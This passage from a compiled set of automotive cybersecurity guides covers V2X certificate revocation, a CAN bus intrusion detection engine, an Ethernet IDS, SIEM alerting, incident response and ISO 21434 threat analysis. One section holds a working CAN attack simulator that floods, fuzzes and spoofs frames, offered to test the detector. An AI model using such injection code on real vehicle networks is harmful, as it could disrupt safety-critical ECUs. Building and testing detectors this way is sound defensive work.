print(f\"[INFO] Valid until: {crl.next_update}\")\n\n        return crl\n\n    def check_certificate_status(self, cert_serial: int) -> bool:\n        \"\"\"Check if certificate is revoked (OCSP-like check)\"\"\"\n        for revoked_cert in self.revoked_certs:\n            if revoked_cert.serial_number == cert_serial:\n                print(f\"[WARN] Certificate {cert_serial} is REVOKED\")\n                return False\n\n        print(f\"[PASS] Certificate {cert_serial} is VALID\")\n        return True\n\n# Example usage\ndef demo_crl():\n    # Create dummy CA\n    from cryptography.hazmat.primitives.asymmetric import rsa\n\n    ca_key = rsa.generate_private_key(65537, 4096, default_backend())\n    ca_cert = x509.CertificateBuilder().subject_name(\n        x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, \"Test CA\")])\n    ).issuer_name(\n        x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, \"Test CA\")])\n    ).public_key(\n        ca_key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.utcnow()\n    ).not_valid_after(\n        datetime.utcnow() + timedelta(days=365)\n    ).sign(ca_key, hashes.SHA256(), default_backend())\n\n    # Revoke compromised certificates\n    crl_mgr = CertificateRevocationManager(ca_cert, ca_key)\n    crl_mgr.revoke_certificate(12345678, reason=\"key_compromise\")\n    crl_mgr.revoke_certificate(87654321, reason=\"cessation_of_operation\")\n\n    # Generate CRL\n    crl_mgr.generate_crl(\"\u002Ftmp\u002Fv2x_crl.pem\")\n\n    # Check status\n    crl_mgr.check_certificate_status(12345678)  # Revoked\n    crl_mgr.check_certificate_status(99999999)  # Valid\n\nif __name__ == \"__main__\":\n    demo_crl()\n```\n\n## Best Practices\n\n1. **Key Storage**: Always use HSM for private keys in production\n2. **Certificate Rotation**: Rotate pseudonym certificates weekly for privacy\n3. **CRL Distribution**: Use CDN for CRL distribution, OCSP for real-time checks\n4. **Algorithm Selection**: Use ECC (P-256\u002FP-384) for constrained devices, RSA-4096 for CAs\n5. **Quantum Readiness**: Plan migration to post-quantum algorithms (CRYSTALS-Dilithium)\n\n## References\n\n- IEEE 1609.2: Security Services for V2V\u002FV2I Communications\n- ETSI TS 103 097: Security Header and Certificate Formats\n- ISO 21434: Cybersecurity Engineering\n- NIST SP 800-57: Key Management Recommendations\n","# Automotive Cybersecurity\n\n## Intrusion Detection Prevention\n\n# Intrusion Detection & Prevention Skill\n\n## Overview\n\nExpert skill for implementing IDS\u002FIPS (Intrusion Detection\u002FPrevention Systems) in automotive networks. Covers CAN bus anomaly detection, network traffic analysis, SIEM integration, honeypot deployment, and incident response playbooks.\n\n## Core Competencies\n\n### IDS\u002FIPS Architecture\n- **Network-based IDS (NIDS)**: Monitor CAN, FlexRay, Ethernet traffic\n- **Host-based IDS (HIDS)**: Monitor ECU system calls, file integrity\n- **Anomaly Detection**: Machine learning for baseline behavior\n- **Signature-based Detection**: Known attack patterns\n- **Prevention Mechanisms**: Frame filtering, rate limiting, isolation\n\n### Detection Techniques\n- **Statistical Analysis**: Abnormal message rates, timing violations\n- **Protocol Validation**: Malformed frames, invalid DLC\n- **Behavioral Analysis**: Unexpected ECU communication patterns\n- **Entropy Analysis**: Randomness in payload data\n\n## CAN Bus Intrusion Detection System\n\n### CAN IDS Implementation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Bus Intrusion Detection System\nReal-time anomaly detection for automotive CAN networks\n\"\"\"\n\nimport can\nimport time\nimport statistics\nfrom collections import defaultdict, deque\nfrom datetime import datetime, timedelta\nimport json\n\nclass CANIDSEngine:\n    \"\"\"Core CAN IDS detection engine\"\"\"\n\n    def __init__(self, can_interface: str = 'can0', window_size: int = 100):\n        self.interface = can_interface\n        self.bus = can.interface.Bus(channel=can_interface, bustype='socketcan')\n\n        # Message statistics per CAN ID\n        self.msg_stats = defaultdict(lambda: {\n            'count': 0,\n            'last_timestamp': None,\n            'intervals': deque(maxlen=window_size),\n            'dlc_values': deque(maxlen=window_size),\n            'payloads': deque(maxlen=window_size)\n        })\n\n        # Learned baseline (normal behavior)\n        self.baseline = {}\n        self.alerts = []\n\n        print(f\"=== CAN IDS Engine Initialized ===\")\n        print(f\"[INFO] Interface: {can_interface}\")\n        print(f\"[INFO] Window size: {window_size}\")\n\n    def learn_baseline(self, duration_seconds: int = 300):\n        \"\"\"Learn normal CAN traffic baseline (5 minutes)\"\"\"\n        print(f\"\\n=== Learning Baseline (mode) ===\")\n        print(f\"[INFO] Duration: {duration_seconds} seconds\")\n        print(f\"[INFO] Capturing normal traffic...\")\n\n        start_time = time.time()\n        message_count = 0\n\n        while (time.time() - start_time) \u003C duration_seconds:\n            msg = self.bus.recv(timeout=1.0)\n            if msg is None:\n                continue\n\n            self._update_statistics(msg)\n            message_count += 1\n\n            if message_count % 1000 == 0:\n                elapsed = int(time.time() - start_time)\n                print(f\"[INFO] {message_count} messages captured ({elapsed}s)\")\n\n        # Compute baseline statistics\n        self._compute_baseline()\n\n        print(f\"\\n[PASS] Baseline learning complete\")\n        print(f\"[INFO] Total messages: {message_count}\")\n        print(f\"[INFO] Unique CAN IDs: {len(self.baseline)}\")\n\n    def _update_statistics(self, msg: can.Message):\n        \"\"\"Update statistics for received message\"\"\"\n        stats = self.msg_stats[msg.arbitration_id]\n        stats['count'] += 1\n\n        # Calculate inter-arrival time\n        if stats['last_timestamp'] is not None:\n            interval = msg.timestamp - stats['last_timestamp']\n            stats['intervals'].append(interval)\n\n        stats['last_timestamp'] = msg.timestamp\n        stats['dlc_values'].append(msg.dlc)\n        stats['payloads'].append(bytes(msg.data))\n\n    def _compute_baseline(self):\n        \"\"\"Compute baseline statistics from learned data\"\"\"\n        print(f\"\\n[INFO] Computing baseline statistics...\")\n\n        for can_id, stats in self.msg_stats.items():\n            if stats['count'] \u003C 10:\n                continue  # Insufficient data\n\n            # Interval statistics\n            intervals = list(stats['intervals'])\n            interval_mean = statistics.mean(intervals) if intervals else 0\n            interval_std = statistics.stdev(intervals) if len(intervals) > 1 else 0\n\n            # Expected DLC\n            dlc_mode = max(set(stats['dlc_values']), key=list(stats['dlc_values']).count)\n\n            # Payload entropy (randomness)\n            payloads = list(stats['payloads'])\n            entropy_mean = statistics.mean([self._calculate_entropy(p) for p in payloads])\n\n            self.baseline[can_id] = {\n                'message_count': stats['count'],\n                'interval_mean': interval_mean,\n                'interval_std': interval_std,\n                'interval_min': interval_mean - (3 * interval_std),  # 3-sigma\n                'interval_max': interval_mean + (3 * interval_std),\n                'expected_dlc': dlc_mode,\n                'entropy_mean': entropy_mean,\n                'payloads_sample': payloads[:10]  # Store samples for comparison\n            }\n\n            print(f\"  CAN ID 0x{can_id:03X}: \"\n                  f\"interval={interval_mean*1000:.2f}ms±{interval_std*1000:.2f}ms, \"\n                  f\"DLC={dlc_mode}, \"\n                  f\"entropy={entropy_mean:.2f}\")\n\n    def _calculate_entropy(self, data: bytes) -> float:\n        \"\"\"Calculate Shannon entropy of payload\"\"\"\n        if len(data) == 0:\n            return 0.0\n\n        from collections import Counter\n        import math\n\n        counter = Counter(data)\n        length = len(data)\n\n        entropy = 0.0\n        for count in counter.values():\n            p = count \u002F length\n            entropy -= p * math.log2(p)\n\n        return entropy\n\n    def detect_anomalies(self, msg: can.Message) -> list:\n        \"\"\"Detect anomalies in received message\"\"\"\n        anomalies = []\n        can_id = msg.arbitration_id\n\n        if can_id not in self.baseline:\n            anomalies.append({\n                'type': 'UNKNOWN_CAN_ID',\n                'severity': 'HIGH',\n                'description': f'New CAN ID 0x{can_id:03X} not seen during baseline',\n                'timestamp': msg.timestamp\n            })\n            return anomalies\n\n        baseline = self.baseline[can_id]\n        stats = self.msg_stats[can_id]\n\n        # Check 1: Inter-arrival time anomaly\n        if stats['last_timestamp'] is not None:\n            interval = msg.timestamp - stats['last_timestamp']\n\n            if interval \u003C baseline['interval_min']:\n                anomalies.append({\n                    'type': 'MESSAGE_FLOODING',\n                    'severity': 'HIGH',\n                    'description': f'CAN ID 0x{can_id:03X} flooding: '\n                                 f'interval {interval*1000:.2f}ms \u003C expected {baseline[\"interval_min\"]*1000:.2f}ms',\n                    'timestamp': msg.timestamp,\n                    'can_id': can_id\n                })\n\n            elif interval > baseline['interval_max']:\n                anomalies.append({\n                    'type': 'MESSAGE_SUPPRESSION',\n                    'severity': 'MEDIUM',\n                    'description': f'CAN ID 0x{can_id:03X} delayed: '\n                                 f'interval {interval*1000:.2f}ms > expected {baseline[\"interval_max\"]*1000:.2f}ms',\n                    'timestamp': msg.timestamp,\n                    'can_id': can_id\n                })\n\n        # Check 2: DLC anomaly\n        if msg.dlc != baseline['expected_dlc']:\n            anomalies.append({\n                'type': 'DLC_ANOMALY',\n                'severity': 'MEDIUM',\n                'description': f'CAN ID 0x{can_id:03X} unexpected DLC: '\n                             f'{msg.dlc} != expected {baseline[\"expected_dlc\"]}',\n                'timestamp': msg.timestamp,\n                'can_id': can_id\n            })\n\n        # Check 3: Payload entropy anomaly (possible injection\u002Ffuzzing)\n        payload_entropy = self._calculate_entropy(bytes(msg.data))\n        entropy_diff = abs(payload_entropy - baseline['entropy_mean'])\n\n        if entropy_diff > 2.0:  # Significant entropy change\n            anomalies.append({\n                'type': 'PAYLOAD_ANOMALY',\n                'severity': 'HIGH',\n                'description': f'CAN ID 0x{can_id:03X} unusual payload entropy: '\n                             f'{payload_entropy:.2f} (expected {baseline[\"entropy_mean\"]:.2f})',\n                'timestamp': msg.timestamp,\n                'can_id': can_id,\n                'payload': msg.data.hex()\n            })\n\n        # Update statistics\n        self._update_statistics(msg)\n\n        return anomalies\n\n    def monitor(self, duration_seconds: int = None, prevention_mode: bool = False):\n        \"\"\"Monitor CAN bus for intrusions\"\"\"\n        print(f\"\\n=== CAN IDS Monitoring ===\")\n        print(f\"[INFO] Prevention mode: {prevention_mode}\")\n\n        start_time = time.time()\n        message_count = 0\n        anomaly_count = 0\n\n        try:\n            while True:\n                if duration_seconds and (time.time() - start_time) > duration_seconds:\n                    break\n\n                msg = self.bus.recv(timeout=1.0)\n                if msg is None:\n                    continue\n\n                message_count += 1\n\n                # Detect anomalies\n                anomalies = self.detect_anomalies(msg)\n\n                if anomalies:\n                    anomaly_count += len(anomalies)\n\n                    for anomaly in anomalies:\n                        self._handle_alert(anomaly, msg, prevention_mode)\n\n                # Status update every 5000 messages\n                if message_count % 5000 == 0:\n                    elapsed = int(time.time() - start_time)\n                    print(f\"[INFO] {message_count} messages, {anomaly_count} anomalies ({elapsed}s)\")\n\n        except KeyboardInterrupt:\n            print(f\"\\n[INFO] Monitoring stopped by user\")\n\n        print(f\"\\n=== Monitoring Summary ===\")\n        print(f\"[INFO] Total messages: {message_count}\")\n        print(f\"[INFO] Anomalies detected: {anomaly_count}\")\n        print(f\"[INFO] Detection rate: {anomaly_count\u002Fmessage_count*100:.2f}%\")\n\n    def _handle_alert(self, anomaly: dict, msg: can.Message, prevention_mode: bool):\n        \"\"\"Handle detected anomaly\"\"\"\n        timestamp = datetime.fromtimestamp(anomaly['timestamp']).strftime('%H:%M:%S.%f')[:-3]\n\n        print(f\"\\n[ALERT] {anomaly['severity']} - {anomaly['type']} @ {timestamp}\")\n        print(f\"  Description: {anomaly['description']}\")\n        print(f\"  CAN ID: 0x{msg.arbitration_id:03X}, DLC: {msg.dlc}, Data: {msg.data.hex()}\")\n\n        # Log alert\n        self.alerts.append(anomaly)\n\n        # Prevention actions\n        if prevention_mode:\n            if anomaly['type'] == 'MESSAGE_FLOODING':\n                print(f\"  [BLOCK] Rate limiting CAN ID 0x{msg.arbitration_id:03X}\")\n                # In real system: configure CAN controller filters\n\n            elif anomaly['type'] == 'UNKNOWN_CAN_ID':\n                print(f\"  [BLOCK] Dropping frames from unknown CAN ID 0x{msg.arbitration_id:03X}\")\n\n            elif anomaly['type'] == 'PAYLOAD_ANOMALY':\n                print(f\"  [ISOLATE] Potential fuzzing\u002Finjection detected - isolating ECU\")\n\n    def export_alerts(self, output_file: str):\n        \"\"\"Export alerts to JSON\"\"\"\n        with open(output_file, 'w') as f:\n            json.dump(self.alerts, f, indent=2)\n\n        print(f\"[INFO] Alerts exported: {output_file}\")\n\n\n# Example: Simulate CAN attacks and detect them\ndef demo_can_ids():\n    import os\n\n    # Setup virtual CAN interface\n    os.system('sudo modprobe vcan')\n    os.system('sudo ip link add dev vcan0 type vcan')\n    os.system('sudo ip link set up vcan0')\n\n    print(\"=== CAN IDS Demo ===\")\n    print(\"[INFO] Using virtual CAN interface vcan0\")\n\n    # Create IDS\n    ids = CANIDSEngine(can_interface='vcan0', window_size=50)\n\n    # Simulate normal traffic generator (in separate process)\n    print(\"\\n[INFO] Start normal CAN traffic generator in another terminal:\")\n    print(\"  python3 can_traffic_generator.py --interface vcan0 --scenario normal\")\n\n    input(\"\\nPress Enter when normal traffic is running...\")\n\n    # Learn baseline\n    ids.learn_baseline(duration_seconds=60)\n\n    # Monitor for attacks\n    print(\"\\n[INFO] Now inject attacks using:\")\n    print(\"  python3 can_attack_simulator.py --interface vcan0 --attack flooding\")\n\n    input(\"\\nPress Enter to start monitoring...\")\n\n    ids.monitor(duration_seconds=120, prevention_mode=True)\n\n    # Export results\n    ids.export_alerts('\u002Ftmp\u002Fcan_ids_alerts.json')\n\nif __name__ == \"__main__\":\n    demo_can_ids()\n```\n\n### CAN Attack Simulator (for testing)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Attack Simulator for IDS Testing\nGenerates various attack scenarios\n\"\"\"\n\nimport can\nimport time\nimport random\n\nclass CANAttackSimulator:\n    def __init__(self, interface: str = 'vcan0'):\n        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')\n        print(f\"=== CAN Attack Simulator ===\")\n        print(f\"[INFO] Interface: {interface}\")\n\n    def attack_flooding(self, target_can_id: int = 0x123, duration: int = 10):\n        \"\"\"Message flooding attack\"\"\"\n        print(f\"\\n[ATTACK] Flooding CAN ID 0x{target_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=[0x00] * 8,\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            # No delay - flood as fast as possible\n\n        print(f\"[INFO] Sent {count} messages in {duration}s\")\n\n    def attack_fuzzing(self, target_can_id: int = 0x456, duration: int = 10):\n        \"\"\"Payload fuzzing attack\"\"\"\n        print(f\"\\n[ATTACK] Fuzzing CAN ID 0x{target_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            # Random payload\n            payload = [random.randint(0, 255) for _ in range(8)]\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            time.sleep(0.01)  # 10ms interval\n\n        print(f\"[INFO] Sent {count} fuzzed messages\")\n\n    def attack_spoofing(self, spoof_can_id: int = 0x789, duration: int = 10):\n        \"\"\"ECU spoofing attack (new CAN ID)\"\"\"\n        print(f\"\\n[ATTACK] Spoofing new CAN ID 0x{spoof_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            msg = can.Message(\n                arbitration_id=spoof_can_id,\n                data=[0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00],\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            time.sleep(0.02)\n\n        print(f\"[INFO] Sent {count} spoofed messages\")\n\nif __name__ == \"__main__\":\n    import sys\n\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python3 can_attack_simulator.py --interface vcan0 --attack [flooding|fuzzing|spoofing]\")\n        sys.exit(1)\n\n    interface = sys.argv[2]\n    attack_type = sys.argv[4]\n\n    attacker = CANAttackSimulator(interface=interface)\n\n    if attack_type == \"flooding\":\n        attacker.attack_flooding(target_can_id=0x123, duration=30)\n    elif attack_type == \"fuzzing\":\n        attacker.attack_fuzzing(target_can_id=0x456, duration=30)\n    elif attack_type == \"spoofing\":\n        attacker.attack_spoofing(spoof_can_id=0x999, duration=30)\n    else:\n        print(f\"Unknown attack type: {attack_type}\")\n```\n\n## Ethernet IDS (Gateway\u002FTCU)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nEthernet-based IDS for Automotive Gateway\u002FTCU\nDeep packet inspection for HTTP, MQTT, SOME\u002FIP\n\"\"\"\n\nfrom scapy.all import sniff, IP, TCP, UDP\nfrom collections import defaultdict\nimport time\n\nclass EthernetIDS:\n    \"\"\"Ethernet network IDS\"\"\"\n\n    def __init__(self, interface: str = 'eth0'):\n        self.interface = interface\n        self.connection_tracker = defaultdict(lambda: {\n            'count': 0,\n            'first_seen': None,\n            'last_seen': None\n        })\n        self.alerts = []\n\n        print(f\"=== Ethernet IDS Initialized ===\")\n        print(f\"[INFO] Interface: {interface}\")\n\n    def packet_callback(self, packet):\n        \"\"\"Process captured packet\"\"\"\n        if IP not in packet:\n            return\n\n        src_ip = packet[IP].src\n        dst_ip = packet[IP].dst\n\n        # Track connection\n        conn_key = f\"{src_ip}:{dst_ip}\"\n        tracker = self.connection_tracker[conn_key]\n        tracker['count'] += 1\n        tracker['last_seen'] = time.time()\n\n        if tracker['first_seen'] is None:\n            tracker['first_seen'] = time.time()\n\n        # Detection rules\n        if TCP in packet:\n            self._check_tcp_anomalies(packet)\n        elif UDP in packet:\n            self._check_udp_anomalies(packet)\n\n    def _check_tcp_anomalies(self, packet):\n        \"\"\"Check for TCP-based attacks\"\"\"\n        tcp = packet[TCP]\n\n        # SYN flood detection\n        if tcp.flags == 'S':\n            src_ip = packet[IP].src\n            syn_count = sum(1 for key in self.connection_tracker\n                          if key.startswith(src_ip) and\n                          time.time() - self.connection_tracker[key]['first_seen'] \u003C 10)\n\n            if syn_count > 100:\n                alert = {\n                    'type': 'SYN_FLOOD',\n                    'severity': 'HIGH',\n                    'source': src_ip,\n                    'description': f'Possible SYN flood from {src_ip} ({syn_count} connections in 10s)'\n                }\n                self._raise_alert(alert)\n\n        # Port scanning detection\n        dst_port = tcp.dport\n        if dst_port > 1024:  # Non-standard ports\n            src_ip = packet[IP].src\n            unique_ports = len(set(\n                key.split(':')[1] for key in self.connection_tracker\n                if key.startswith(src_ip)\n            ))\n\n            if unique_ports > 50:\n                alert = {\n                    'type': 'PORT_SCAN',\n                    'severity': 'MEDIUM',\n                    'source': src_ip,\n                    'description': f'Port scanning detected from {src_ip} ({unique_ports} unique ports)'\n                }\n                self._raise_alert(alert)\n\n    def _check_udp_anomalies(self, packet):\n        \"\"\"Check for UDP-based attacks\"\"\"\n        udp = packet[UDP]\n\n        # SOME\u002FIP message validation (automotive middleware)\n        if udp.dport in [30490, 30491, 30492]:  # SOME\u002FIP ports\n            payload = bytes(packet[UDP].payload)\n\n            if len(payload) \u003C 16:\n                alert = {\n                    'type': 'MALFORMED_SOMEIP',\n                    'severity': 'MEDIUM',\n                    'source': packet[IP].src,\n                    'description': 'Malformed SOME\u002FIP message (too short)'\n                }\n                self._raise_alert(alert)\n\n    def _raise_alert(self, alert: dict):\n        \"\"\"Raise security alert\"\"\"\n        print(f\"\\n[ALERT] {alert['severity']} - {alert['type']}\")\n        print(f\"  {alert['description']}\")\n        self.alerts.append(alert)\n\n    def start_monitoring(self, count: int = 1000):\n        \"\"\"Start packet capture\"\"\"\n        print(f\"\\n[INFO] Starting Ethernet monitoring ({count} packets)...\")\n        sniff(iface=self.interface, prn=self.packet_callback, count=count)\n\n        print(f\"\\n=== Monitoring Complete ===\")\n        print(f\"[INFO] Alerts raised: {len(self.alerts)}\")\n\nif __name__ == \"__main__\":\n    ids = EthernetIDS(interface='eth0')\n    ids.start_monitoring(count=5000)\n```\n\n## SIEM Integration (ELK Stack)\n\n```yaml\n# Logstash configuration for CAN IDS alerts\ninput {\n  file {\n    path => \"\u002Fvar\u002Flog\u002Fcan_ids\u002Falerts.json\"\n    start_position => \"beginning\"\n    codec => \"json\"\n  }\n}\n\nfilter {\n  # Parse CAN IDS alerts\n  if [type] == \"MESSAGE_FLOODING\" {\n    mutate {\n      add_field => { \"severity_score\" => 9 }\n      add_tag => [\"dos_attack\"]\n    }\n  }\n\n  if [type] == \"PAYLOAD_ANOMALY\" {\n    mutate {\n      add_field => { \"severity_score\" => 8 }\n      add_tag => [\"potential_injection\"]\n    }\n  }\n\n  # Convert CAN ID to hex\n  ruby {\n    code => \"event.set('can_id_hex', '0x%03X' % event.get('can_id'))\"\n  }\n\n  # GeoIP lookup for external attacks\n  if [source_ip] {\n    geoip {\n      source => \"source_ip\"\n      target => \"geoip\"\n    }\n  }\n}\n\noutput {\n  elasticsearch {\n    hosts => [\"localhost:9200\"]\n    index => \"automotive-ids-%{+YYYY.MM.dd}\"\n  }\n\n  # High severity alerts to Slack\n  if [severity] == \"HIGH\" {\n    http {\n      url => \"https:\u002F\u002Fhooks.slack.com\u002Fservices\u002FYOUR\u002FWEBHOOK\u002FURL\"\n      http_method => \"post\"\n      format => \"json\"\n      content_type => \"application\u002Fjson\"\n      message => '{\n        \"text\": \"🚨 CAN IDS Alert: %{type}\",\n        \"attachments\": [{\n          \"color\": \"danger\",\n          \"fields\": [\n            {\"title\": \"Description\", \"value\": \"%{description}\"},\n            {\"title\": \"CAN ID\", \"value\": \"%{can_id_hex}\"},\n            {\"title\": \"Timestamp\", \"value\": \"%{@timestamp}\"}\n          ]\n        }]\n      }'\n    }\n  }\n}\n```\n\n## Incident Response Playbook\n\n```yaml\n# Automotive Cybersecurity Incident Response Playbook\nincident_response:\n  phase_1_identification:\n    - alert: \"IDS detects anomaly\"\n    - verify: \"Confirm alert is not false positive\"\n    - classify: \"Determine attack type and severity\"\n    - escalate: \"Notify security team and OEM SOC\"\n\n  phase_2_containment:\n    short_term:\n      - action: \"Isolate affected ECU\u002Fnetwork segment\"\n      - method: \"Gateway firewall rules, CAN filters\"\n      - verify: \"Confirm attack traffic blocked\"\n\n    long_term:\n      - action: \"Patch vulnerable software\"\n      - method: \"OTA security update\"\n      - timeline: \"\u003C 72 hours per UN R155\"\n\n  phase_3_eradication:\n    - identify_root_cause: \"Vulnerability analysis, forensics\"\n    - remove_threat: \"Firmware update, key revocation\"\n    - verify_clean: \"Scan for persistence mechanisms\"\n\n  phase_4_recovery:\n    - restore_service: \"Reboot ECU, restore network\"\n    - validate: \"Functional testing, regression testing\"\n    - monitor: \"Enhanced monitoring for 7 days\"\n\n  phase_5_lessons_learned:\n    - document: \"Incident timeline, root cause, actions taken\"\n    - improve: \"Update IDS signatures, patch other vehicles\"\n    - report: \"Notify regulatory authorities (UN R155 requirement)\"\n```\n\n## Best Practices\n\n1. **Layered Defense**: Deploy IDS at multiple layers (CAN, Ethernet, application)\n2. **Baseline Learning**: Capture 24-hour baseline before production deployment\n3. **False Positive Tuning**: Iterate on detection rules to reduce false positives \u003C 1%\n4. **SIEM Integration**: Centralize logs for fleet-wide threat intelligence\n5. **Incident Playbooks**: Pre-define response procedures for \u003C 15 minute MTTR\n\n## References\n\n- NIST SP 800-94: Guide to Intrusion Detection and Prevention Systems\n- ISO 21434: Cybersecurity Engineering (Clause 11: Incident Response)\n- AUTOSAR SecOC: Secure Onboard Communication specification\n- J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems\n\n---\n\n## Iso 21434 Compliance\n\n# ISO\u002FSAE 21434 Compliance Skill\n\n## Overview\n\nExpert skill for implementing ISO\u002FSAE 21434 cybersecurity engineering standard for road vehicles. Covers CSMS (Cybersecurity Management System), TARA (Threat Analysis and Risk Assessment), cybersecurity concept phase, product development, and operations\u002Fmaintenance.\n\n## Core Competencies\n\n### ISO\u002FSAE 21434 Framework\n- **Cybersecurity Management System (CSMS)**: Organizational processes, roles, responsibilities\n- **Concept Phase**: Item definition, cybersecurity goals, threat scenarios\n- **Product Development**: Security requirements, architecture design, verification\n- **Operations & Maintenance**: Incident response, vulnerability management, EOL handling\n- **Supporting Processes**: Risk assessment, security testing, change management\n\n### TARA Methodology\n- **Asset Identification**: Identify critical assets (ECUs, data, communication channels)\n- **Threat Scenario Definition**: STRIDE\u002FDREAD modeling, attack trees\n- **Impact Rating**: ASIL-D alignment, damage scenarios (safety, financial, operational, privacy)\n- **Attack Feasibility**: Elapsed time, specialist expertise, knowledge of item, window of opportunity, equipment\n- **Risk Determination**: Risk = Impact × Attack Feasibility\n- **Risk Treatment**: Avoid, reduce, share, retain\n\n### UN R155 & R156 Alignment\n- **R155**: Cybersecurity management system requirements\n- **R156**: Software update management system requirements\n- **Type Approval**: Demonstration of compliance for vehicle homologation\n\n## ISO 21434 Workflow\n\n### Phase 1: Concept Phase\n\n```yaml\n# Item Definition Template\nitem_definition:\n  item_name: \"Telematics Control Unit (TCU)\"\n  item_id: \"TCU-2024-001\"\n  description: \"4G\u002F5G connected telematics unit with V2X capability\"\n  boundaries:\n    physical: \"TCU ECU, antenna, power supply\"\n    logical: \"CAN, Ethernet, cellular modem interfaces\"\n    temporal: \"Ignition-on to ignition-off, OTA updates\"\n\n  assets:\n    - name: \"Vehicle Location Data\"\n      type: \"Data\"\n      confidentiality: HIGH\n      integrity: MEDIUM\n      availability: MEDIUM\n\n    - name: \"Firmware Image\"\n      type: \"Software\"\n      confidentiality: LOW\n      integrity: HIGH\n      availability: HIGH\n\n    - name: \"Private Key for V2X\"\n      type: \"Cryptographic Material\"\n      confidentiality: CRITICAL\n      integrity: CRITICAL\n      availability: HIGH\n\n  interfaces:\n    - name: \"CAN Bus Interface\"\n      protocol: \"CAN 2.0B\"\n      threat_exposure: MEDIUM\n      security_properties: [\"message authentication\"]\n\n    - name: \"Cellular Interface\"\n      protocol: \"LTE\u002F5G\"\n      threat_exposure: HIGH\n      security_properties: [\"TLS 1.3\", \"certificate pinning\"]\n```\n\n### Phase 2: TARA Execution\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nISO 21434 TARA (Threat Analysis and Risk Assessment) Tool\nPerforms automated threat modeling and risk calculation\n\"\"\"\n\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom typing import List, Dict\nimport json\n\nclass ImpactLevel(Enum):\n    NEGLIGIBLE = 1\n    MODERATE = 2\n    MAJOR = 3\n    SEVERE = 4\n\nclass AttackFeasibility(Enum):\n    VERY_LOW = 1\n    LOW = 2\n    MEDIUM = 3\n    HIGH = 4\n    VERY_HIGH = 5\n\nclass RiskLevel(Enum):\n    LOW = 1\n    MEDIUM = 2\n    HIGH = 3\n    VERY_HIGH = 4\n\n@dataclass\nclass Threat:\n    threat_id: str\n    name: str\n    description: str\n    threat_type: str  # Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation\n    asset: str\n    impact_safety: ImpactLevel\n    impact_financial: ImpactLevel\n    impact_operational: ImpactLevel\n    impact_privacy: ImpactLevel\n\n    # Attack Feasibility Parameters (ISO 21434 Table A.1)\n    elapsed_time: int  # 0-19 points\n    specialist_expertise: int  # 0-11 points\n    knowledge_of_item: int  # 0-11 points\n    window_of_opportunity: int  # 0-10 points\n    equipment: int  # 0-9 points\n\n@dataclass\nclass RiskAssessment:\n    threat: Threat\n    overall_impact: ImpactLevel\n    attack_feasibility: AttackFeasibility\n    risk_level: RiskLevel\n    risk_value: int\n    treatment: str\n    justification: str\n\nclass TARAEngine:\n    def __init__(self):\n        self.threats = []\n        self.assessments = []\n\n    def calculate_attack_feasibility(self, threat: Threat) -> AttackFeasibility:\n        \"\"\"Calculate attack feasibility per ISO 21434 Annex G\"\"\"\n        total_score = (\n            threat.elapsed_time +\n            threat.specialist_expertise +\n            threat.knowledge_of_item +\n            threat.window_of_opportunity +\n            threat.equipment\n        )\n\n        # ISO 21434 Table G.1 mapping\n        if total_score >= 37:\n            return AttackFeasibility.VERY_LOW\n        elif total_score >= 25:\n            return AttackFeasibility.LOW\n        elif total_score >= 13:\n            return AttackFeasibility.MEDIUM\n        elif total_score >= 10:\n            return AttackFeasibility.HIGH\n        else:\n            return AttackFeasibility.VERY_HIGH\n\n    def calculate_overall_impact(self, threat: Threat) -> ImpactLevel:\n        \"\"\"Determine worst-case impact across all categories\"\"\"\n        impacts = [\n            threat.impact_safety,\n            threat.impact_financial,\n            threat.impact_operational,\n            threat.impact_privacy\n        ]\n        return max(impacts, key=lambda x: x.value)\n\n    def determine_risk_level(self, impact: ImpactLevel, feasibility: AttackFeasibility) -> tuple:\n        \"\"\"Map impact and feasibility to risk level (ISO 21434 Table 9)\"\"\"\n        risk_matrix = {\n            (ImpactLevel.SEVERE, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.SEVERE, AttackFeasibility.HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.SEVERE, AttackFeasibility.MEDIUM): (RiskLevel.HIGH, 4),\n            (ImpactLevel.SEVERE, AttackFeasibility.LOW): (RiskLevel.MEDIUM, 3),\n            (ImpactLevel.SEVERE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 2),\n\n            (ImpactLevel.MAJOR, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.MAJOR, AttackFeasibility.HIGH): (RiskLevel.HIGH, 4),\n            (ImpactLevel.MAJOR, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 3),\n            (ImpactLevel.MAJOR, AttackFeasibility.LOW): (RiskLevel.LOW, 2),\n            (ImpactLevel.MAJOR, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),\n\n            (ImpactLevel.MODERATE, AttackFeasibility.VERY_HIGH): (RiskLevel.HIGH, 4),\n            (ImpactLevel.MODERATE, AttackFeasibility.HIGH): 